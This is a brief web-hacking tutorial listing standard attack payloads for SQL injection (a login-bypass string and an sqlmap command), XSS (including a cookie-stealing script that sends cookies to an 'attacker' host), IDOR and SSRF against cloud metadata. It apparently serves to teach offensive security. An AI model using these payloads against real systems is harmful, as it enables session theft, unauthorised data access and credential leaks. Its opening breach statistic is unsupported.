Web App Hacking with Kali Linux

Web applications are the #1 attack surface for modern companies. 95% of data breaches involve web app vulnerabilities.

Tool: Burp Suite

Burp Suite is the Swiss Army knife of web hacking. It intercepts, modifies, and replays HTTP requests.

Attack 1: SQL Injection

# Test login bypass
Username: admin' OR '1'='1'--
Password: anything

# Automate with SQLMap
sqlmap -u "http://target/login" --data="user=admin&pass=test" --dbs

Attack 2: Cross-Site Scripting (XSS)

# Reflected XSS test
http://target/search?q=<script>alert('XSS')</script>

# Cookie stealing payload
<script>new Image().src="http://attacker/steal?c="+document.cookie</script>

Attack 3: IDOR (Insecure Direct Object Reference)

# Change user ID in request
GET /api/user/profile?id=1234    # Your profile
GET /api/user/profile?id=1235    # Someone else's profile!

Attack 4: SSRF (Server-Side Request Forgery)

# Access internal services through the web app
http://target/fetch?url=http://169.254.169.254/latest/meta-data/
# Leaks AWS credentials!
